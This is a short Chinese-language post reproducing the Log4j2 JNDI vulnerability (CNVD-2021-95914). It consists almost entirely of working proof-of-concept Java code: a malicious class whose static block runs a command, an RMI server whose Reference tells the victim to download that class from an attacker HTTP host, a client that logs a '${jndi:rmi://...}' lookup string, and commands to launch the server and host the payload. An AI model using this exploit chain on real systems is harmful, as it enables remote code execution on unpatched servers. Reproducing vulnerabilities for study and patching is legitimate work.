复制 log4j2 CNVD-2021-95914 漏洞。

 1 package com.server;//package com.hns;
 2 
 3 import javax.lang.model.element.Name;
 4 import javax.naming.Context;
 5 import java.io.BufferedInputStream;
 6 import java.io.BufferedReader;
 7 import java.io.IOException;
 8 import java.io.InputStreamReader;
 9 import java.rmi.RemoteException;
10 import java.rmi.server.UnicastRemoteObject;
11 import java.util.HashMap;
12 
13 public class EvilObj extends UnicastRemoteObject {
14     protected EvilObj() throws RemoteException {
15     }
16 
17     public static void exec(String cmd) throws IOException {
18         String sb = "";
19         BufferedInputStream bufferedInputStream = new BufferedInputStream(Runtime.getRuntime().exec(cmd).getInputStream());
20         BufferedReader inBr = new BufferedReader(new InputStreamReader(bufferedInputStream));
21         String lineStr;
22         while((lineStr = inBr.readLine()) != null){
23             sb += lineStr+"\n";
24 
25         }
26         inBr.close();
27         inBr.close();
28     }
29 
30     public Object getObjectInstance(Object obj, Name name, Context context, HashMap<?, ?> environment) throws Exception{
31         return null;
32     }
33 
34     static {
35         try{
36             exec("calc.exe");
37         }catch (Exception e){
38             e.printStackTrace();
39         }
40     }
41 }

 1 package com.server;
 2 
 3 import com.sun.jndi.rmi.registry.ReferenceWrapper;
 4 
 5 import javax.naming.NamingException;
 6 import javax.naming.Reference;
 7 import java.rmi.AlreadyBoundException;
 8 import java.rmi.RemoteException;
 9 import java.rmi.registry.LocateRegistry;
10 import java.rmi.registry.Registry;
11 
12 public class Server {
13     public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {
14         System.setProperty("FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS", "true");
15         System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
16 
17         Registry registry = LocateRegistry.createRegistry(1099);
18         String url = "http://192.168.32.90:6666/"; //下载恶意代码的地址，被攻击者会到 http://192.168.32.90:6666/com/server/EvilObj.class下载恶意代码
19         System.out.println("Create RMI registry on port 1099"); 20 Reference reference = new Reference("com.server.EvilObj", "com.server.EvilObj", url);
21         ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference); 
22         registry.bind("evil", referenceWrapper); 
23  } 
24 }

 1 package com.client;
 2 
 3 import org.apache.logging.log4j.LogManager;
 4 import org.apache.logging.log4j.Logger;
 5 
 6 import javax.naming.NamingException;
 7 
 8 public class Client {
 9     private static Logger log = LogManager.getLogger(Client.class);
10     public static void main(String[] args) throws NamingException, InterruptedException {
11         System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
12         System.setProperty("FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS", "true");
13 //        Context context = new InitialContext();
14 //        context.lookup("rmi://192.168.32.90:1099/evil"); //直接请求rmi服务
15 
16         log.error("${jndi:rmi://192.168.32.90:1099/evil}"); //用jndi方式，拉取加载rmi服务
17     }
18 }

1 D:\ProgramFiles\java\jdk1.8.0_121\bin\java.exe -cp RmiServer-1.0-SNAPSHOT.jar com.server.Server

1 python -m http.server 6666